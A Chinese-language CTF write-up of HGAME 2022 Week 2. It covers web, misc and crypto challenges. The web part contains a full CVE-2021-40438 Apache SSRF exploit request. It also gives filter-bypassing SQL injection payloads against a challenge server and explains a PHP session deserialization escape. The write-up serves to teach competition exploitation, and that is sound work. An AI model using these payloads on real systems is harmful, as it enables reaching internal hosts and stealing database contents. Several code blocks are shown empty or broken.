HGAME 2022 Week2 writeup by ek1ng
WEB
Apache!
题目考察的是Apache在2021年9月爆出的httpd mod_proxy SSRF漏洞,CVE-2021-40438
我们首先需要了解漏洞的原理,以下内容也是参考了网上的博客自己总结的。
漏洞产生于使用了mod_proxy,mod_proxy是Apache服务器中用于反代后端服务的一个模块,Apache在配置反代的后端服务器时,有两种情况:
- 直接使用某个协议反代到某个IP和端口,比如
ProxyPass / "http://localhost:8080"
- 使用某个协议反代到unix套接字,比如
ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第一种情况比较好理解,第二种情况相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到parse的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的,问题也就是出在filename上,那么我们来看一下filename这个函数写了什么
1 | static void fix_uds_filename(request_rec *r, char **url) |
进入这个if语句需要满足三个条件:
r->filename
的前6个字符等于proxy:
r->filename
的字符串中含有关键字unix:
unix:
关键字后的部分含有字符|
当满足这三个条件后,将unix:
后面的内容进行解析,设置成uds_path
的值;将字符|
后面的内容,设置成rurl
的值。
比如ProxyPass / "unix:xxxx|http://localhost:8080/"
,在解析完成后,uds_path
的值等于xxxx
,rurl
的值等于http://localhost:8080/
。好然后我们如果能想办法改变r->filename
,我们是不是就可以想办法反代到我们要访问的内网机器了呢,所以我们要去看看r->filename
这时候我们需要了解函数proxy_hook_canon_handler
,这个函数用于注册canon handler,比如:每一个mod_proxy_xxx
都会注册一个自己的canon handler,canon handler会在反代的时候被调用,用于告诉Apache主程序它应该把这个请求交给哪个处理方法来处理。
然后简单来说r->filename中后半部分是用户可以控制的,可以通过请求的path或者search来控制这两个部分,控制了反代的后端地址,漏洞产生的原因就在这。
1.
然后还有一个问题,难道apache就不会有什么识别的措施,你传给它unix套接字,他也会把这个请求发给用户url吗?那么Apache在正常情况下,因为识别到了unix套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端URL。
简单说的话这里我们就需要让路径长度比较长,超过里面一个APP_PATH_MAX,这时候函数返回了路径过长的状态码导致最后unix套接字的值变成了null,这样Apache不会把请求发给unix套接字而是发给后端URL。
我们总结一下
CVE-2021-40438 漏洞为 Apache httpd 的 SSRF 漏洞,核心原理是 mod_proxy
模块为了支持 UDS (Unix Domain Socket)
转发而产生了安全性问题,并由多个位置代码问题组合产生。漏洞触发的前提如下:
- 需开启 mod_proxy 配置
- 需已知
VirtualHost
中ProxyPass
指定的 URL 项 - 使用 GET 请求超长字符串且超过目标 Apache 设置
然后在新版本中,apache仓库的commit的记录中可以看到官方解决漏洞的方法是,此前对用户访问url时unix:的位置没有做检验,然后r->filename
的后半部分又可以由用户控制,这次检验了unix的位置所以漏洞就得到了修复。
上述就是原理,然后我们首先来看看题目是不是符合这个漏洞。
首先我们访问一下页面看看,页面提示我们去访问内网机器,并且提示我们内网机器的地址是internal.host,然后我们下载配置文件查看后,根据apache版本v2.4.48和题目描述需要访问到内网机器可以肯定这题是的漏洞是Apache httpd mod_proxy SSRF漏洞CVE-2021-40438
httpd.conf中发现mod_proxy配置开启↓
httpd-vhosts.conf发现ProxyPass 转发到https://www.google.com,得到apache服务器不仅作为资源服务器,还作为代理服务器转发到google上
我们根据给出配置文件我们发现mod_proxy开启了,ProxyPass是google并且版本为2.4.48,那么漏洞肯定存在。
接下来我们构造payload
首先是GET后面跟的参数 不能是直接/?unix(在网上大多此漏洞复现的帖子构造payload都是直接添加/?unix这里出题人也是设置了一个坑),而是需要/proxy?unix:,原因是如果是/?unix:直接构造,那么apache配置的ProxyPass参数设置的应该是“/“,也就是本地,这里被设置成了google,需要加一个proxy,具体可以参考一下这篇文章https://www.anquanke.com/post/id/257657
第二个点是A的数量,那么最高设置应该是8192但是实际上不会设置这么多,如果你发送8193个A的话,就直接会超url限制的,然后试了试7000多个是可以的,那么A具体需要多少才能超出是要看配置的,输入长度操作 APR_PATH_MAX
时,直接返回错误,而后在 ap_proxy_determine_connection
中绕过错误检查。APR_PATH_MAX
可能长度为 8192,但实际上可能更小,出题人应该是设置了4000多就够了。
下面是apache GitHub仓库看到的源码的内容
第三个点是构造/proxy?unix:{A*7000}|https://example.com HTTP1.1 其中https://example.com部分填写的应该是我们希望代理转发到的地址,在题目里我们是需要访问[http://httpd.summ3r.top:60010](http://httpd.summ3r.top:60010/),然后通过SSRF漏洞,让这个内网服务器internal.host反代理到我们直接访问的服务器,我们就可以访问到内网机器了,然后不要忘记添加/flag,flag也是在配置文件中告诉我们位于flag文件中。
第四个点是Host应该是127.0.0.1
1 | GET /proxy?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/flag |
1 | hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438} |
webpack-engine
题目考察的是webpack打包工具泄露soursemap的漏洞
为了方便管理静态资源,优化前端工作流程,现代前端框架都会使用一些构建工具,如 Grunt
、Gulp
、Webpack
等。以 Webpack 为例,它是一个模块打包器。根据模块的依赖关系进行静态分析,然后将这些模块按照指定的规则生成对应的静态资源,使用这些构建工具就意味着不特别处理的话,JS 文件就会被全部打包在一起,如果没有删除 Source Map
,用浏览器自带的开发者工具就能轻松看到,不当的打包配置和权限控制可能存在的危害有:
- 后台敏感功能、逻辑泄露
- API 权限控制不当造成信息泄露
- API 权限控制不当造成越权操作
- SQL 注入
- XSS 等
然后对应的解决办法就是在部署线上环境时删除Source Map
简单了解一下原理后我们来看题目,访问后f12查看一下源码,发现有一个和flag相关的.vue文件
这时候我们直接访问一下看看是不是配置了路由
解两层base64后我们就得到了flag
Pokemon
题目考察的是SQL注入,因为这题是有直接回显的,所以说不用时间盲注啊什么的注入方法,只需要union注入就可以了。题目对[‘select’, ‘from’, ‘where’, ‘=’, ‘/**/‘, ‘union’, ‘or’, ‘and’, ‘ ‘, ‘+‘, ‘-‘]做了过滤,那么注入的时候需要绕开这些过滤,SQL注入是一种非常套路的题型,首先是我们需要找到注入点,然后判断类型,字段数,回显点,依次爆库名,表名,字段名,数据。
首先我们先找注入点,打开题目给出的连接,访问后根据前端代码的注释,index.php接收id参数,经过尝试后id在1,2,3会分别返回3种pokemon,然后当id不是1,2,3时,会跳转到error.php,然后我们发现error.php接收参数code,当code为404时,页面会显示404 pokemon not found 当是code不为404的数字时,页面就不会有404 pokemon not found的字样,当code为字符时,页面会返回sql查询的报错信息,那么这个code参数这里是可以进行sql注入的。union注入时需要注意,union前面的select语句返回的字段数和union后面这句select返回的必须相等,然后通过输出code不为404让前面的select语句查询不到,就可以用后面的语句查询到我们想查询的内容啦,那么下面我们开始注入。
首先我们已经通过输入数字和字符判断了,getStatusMessage接收一个整数类型的参数,而不是字符串类型
接下来判断字段数,这里空格和/**/被过滤了,用/* */
绕开过滤,order的or被过滤了,需要双写绕开过滤,绕开过滤的方法也不止一种,我这是其中一种,order by 3无法正常返回数据,order by 2可以正常返回,说明字段数为2
1 | 1 order by 3 |
接下来判断回显点
1 | 0 union select 1,2 limit 1 |
1 | ``` |
0 union select 1,database()
http://121.43.141.153:60056/error.php
?code=0/* /ununionion/ /seselectlect/ */1,database()
1 |
|
1 union select 1,group_concat(table_name) from information schema.tables where table_schema regexp pokemon
http://121.43.141.153:60056/error.php
?code=1/* /ununionion/ /seselectlect/ /1,group_concat(table_name)/ /frfromom/ /infoorrmation_schema.tables/ /whwhereere/ /table_schema/ /regexp/ */‘pokemon’;
1 |
|
1 union select 1,group_concat(column_name) from information schema.columns where table_schema regexp pokemon
http://121.43.141.153:60056/error.php
?code=1/* /ununionion/ /seselectlect/ /1,group_concat(column_name)/ /frfromom/ /infoorrmation_schema.columns/ /whwhereere/ /table_schema/ /regexp/ */‘pokemon’;
1 |
|
1 union select 1,flag from fllllllllaaaaaag
http://121.43.141.153:60056/error.php
?code=1/* /ununionion/ /seselectlect/ /1,flag/ /frfromom/ */fllllllllaaaaaag;
1 |
|
get.php
1 |
|
Evil.php
1 |
|
接下来就是看一下漏洞在哪,首先get.php里面告诉我们,flag is in /flag,意思就是flag在/flag这个文件里面,然后通过搜索引擎也是了解到了反序列化漏洞,那么在这里,由于在原生session文件处理的实现中,开发者使用|
对属性进行分割,但键名没有过滤,可以插入|
。如果用户可控键名,那么就会导致反序列化逃逸。
这是反序列化漏洞产生的原因(这点我是在放出hint后看了 SCTF 2021 ezosu这题的官方题解后才想明白),那么现在我们的目标就是反序列化一个Evil类,并且让反序列化还原出来的Evil类中,$file = /flag
啦,至于说Evil里面对flag内容进行了过滤什么的,我们先不考虑,我们先成功访问到/flag文件再说嘛,那么我们这时候就可以开始构造POC啦,构造POC的过程我也参考了ezosu的poc构造,然后我们这题的poc的话是不需要找pop链的,pop链就是你返序列化的类中没有可以直接利用的内容,而是需要通过a调用b,b调用c等等一连串的方式才能够拿到你想获得的信息,那么我们这题因为Evil类中的__wakeup函数(__wakeup函数是魔法函数,此函数会在反序列化Evil对象时被调用)会直接修改flag变量的值,可以直接利用,只要file=/flag,那么的话content的内容就是/flag文件的内容啦。
SCTF 2021 ezosu的poc
本题的POC
1 |
|
我们传入的JSON数据,POST请求Save.php接口传入此数据,GET请求get.php接口,我们就能够拿到flag啦
1 |
|
当然这里还有令人疑惑的一点是,诶那难道Evil.php中对于/flag内文件中内容的过滤,preg_match
函数过滤了hgame内容,为什么没有起作用呀,询问出题人后发现,出题人说其实一开始忘记return了,后来发现做出的人比较少决定就,不添加难度了(
MISC
小游戏
硬玩小技巧 在上面标注出entry 然后玩到stage5 level5后就会出flag
1 | hgame{WhaT~@_InTEResT|ng~GAmE} |
一张怪怪的名片
题目考察的是QR code信息的读取,PBKDF2、AES、Base64的加密,还有需要你有不小的脑洞(
首先我们打开题目给出的图片,发现有四块二维码,除此之外也没有什么有用的信息,我们先尝试把二维码拼起来看看能不能扫出来点什么
这里我是用了一个在线PS的网站,调整图片的阈值就可以将图片二值化,变成只有黑白
那么接下来的话我在PPT里面把四个二维码碎片分别截图然后拼接起来,使用PPT是因为ppt会有自动对齐,这样拼接二维码的效果会比较好
然后我们尝试扫码发现扫不出来,在了解了QR code的原理后我们得知中间一大片黑扫不出来是非常正常的,二维码应该是有一定的破损,那么这里我们就使用QRazyBox读取一下二维码残缺的信息,发现二维码解码后的字符串是一个网站,前面的homdgink应该就是鸿贵安,然后后面的homeboyc是一级域名
这个时候我们就想到题目的hint,鸿师傅不喜欢百度,所以我们去百度搜索一下,出题人应该是做了百度的SEO,那么我们可以发现这个一级域名是个博客,点进去看看
博客的文章没发现什么,我们去看看友链版
友链版中我们发现鸿贵安的自留地,给出的图片里面也有鸿贵安三个字,我们点进去看看
看起来我们发现了藏有flag的地方,信息量也不少,我们依次点击进去并且翻译一下看看说了点啥信息.
盗号 -> 使用了弱密码,弱密码中塞有蒙尔的信息(意思是应该不止有蒙尔的信息)
flag -> 鸿贵安和蒙尔约定了密码,密码先转换成了key 然后flag用AES的ECB模式 通过key加密了 接下来给出了AES-128加密后的密文
生日快乐 -> 2021.8.16 祝愿蒙尔生日快乐 说明蒙尔生日2002.8.16
About -> 生日信息的泄露存在风险
汇总一下看看如何入手
盗号 -> 使用了弱密码,弱密码中塞有蒙尔的信息(意思是应该不止有蒙尔的信息)
flag -> 鸿贵安和蒙尔约定了密码,密码先转换成了key 然后flag用AES的ECB模式 通过key加密了 接下来给出了AES-128加密后的密文
生日快乐 -> 2021.8.16 祝愿蒙尔生日快乐 说明蒙尔生日2002.8.16
About -> 生日信息的泄露存在风险
首先的话我们需要猜密码,密码有蒙尔的信息,不止有蒙尔的信息,有蒙尔的生日,是弱密码,这里是需要脑洞的,联想到鸿贵安和蒙尔两个人名字如此奇怪发现首字母缩写竟然是hga me,那么我们猜到弱密码就是hgame20020816
将弱密码用Derive PBKDF2 key 密钥加密算法加密出key,注意Salt的值已经给出,就是1
然后我们拿到的flag是个base64编码的,我们先base64解码一层,再AES 解码 选择ECB模块,这里需要注意input是Raw,base64解码后并不是明文的形式,然后发现解出来的东西仍然有一层base64,但是我们会能够发现这里可以完全解码,这是可以作证我们前几部并没有猜错的
再看看题目,题目还说别忘了base64,我们这里再base64解密一层就拿到flag啦,然后至于这里为什么需要前后都套一层base64,应该是AES的输入输出都是Bytes,不是明文的形式,所以需要base64两边都套一层变成明文
你上当了 我的很大
首先我们把压缩包全部解压出来,我们可以得到3个视频,这三个视频大小都比较接近,仔细观察发现,有两个视频的后5秒都有一种图形码
我们找一个在线扫码网站试试。发现这是DATAMATRIX编码的,将扫码得到的结果base64转png,我们可以得到QR code的1/4,这个时候我们就能猜测是不是少了点什么,因为两个视频后面有俩图片,一个对应一个1/4,后来经过和出题人对线也是发现附件确实有问题,题目更新描述后又上传了两个图形码,我们同样试图找到他们是什么编码并且通过在线解码将得到的base64结果转成png,可以分别得到二维码的各1/4部分,这里分别用来DATAMATRIX,PDF417,AZTEC,Codablock这么四种图形码
Base64转二维码
我们将得到的四个二维码碎片拼起来即可,最后还是拼了有一会哈哈哈中间还有个小方块是空的
CRYPTO
RSA Attack
考RSA加密的题目,题目给出了n,e,c,那么也就是给出了公钥(e,n)和密文c,有了n我们可以分解出p和q,然后利用p,q,e我们可以解出模反元素d,然后解密需要d和n也就是私钥,这时候我们都有了,C的d次幂modn就能得到明文M
1 | import gmpy2 |
1 | hgame{SHorTesT!fLAg} |
Chinese Character Encryption
题目考察的是一种以拼音和声调为基础的编码方式,在给出hint后也是终于明白咋做了了,题目的加密方式就是将拼音每一位字符在拼音表中对应的位置相加再加上音调,例如第一声就加1以此类推,再根据位数加上一个偏移量,将数字转ascii码就可以得到flag啦
其中偏移量的话是有一个规律,如果都有声调的拼音,例如xing2 2表示第二声,x在拼音表对应第24个字符,就是24,xing对应的字符分别相加后,再加上音调对应的值2,再加上偏移量48,得到104,chr(104)得到h,然后如果是3个字母组成的字符串并且有音调偏移量就是80,字母越少需要加上的偏移量是越多的,每少一个就要多加32,这个的话也比较好理解因为如果字母越少,那么相加得到的值就越少,如果说希望表示拼音的尽可能多,就要多加一些,需要注意的是有无音调加上的偏移量还不一样,但是其实不影响做题的,就直接不管没有声调的,然后把解出来的flag拼一拼也足够得到正确flag了,我一开始还以为没有声调就相当于是+0,偏移量不变,但是其实不是的,所以说我之前也是在很多位置都得到了两种结果,但是我前面的hgame{是能够匹配的,然后仔细查看后修改了一下也是能够每一行都能得到flag了,有一行不知道为啥会变成非明文字符,但是我感觉没啥问题的(
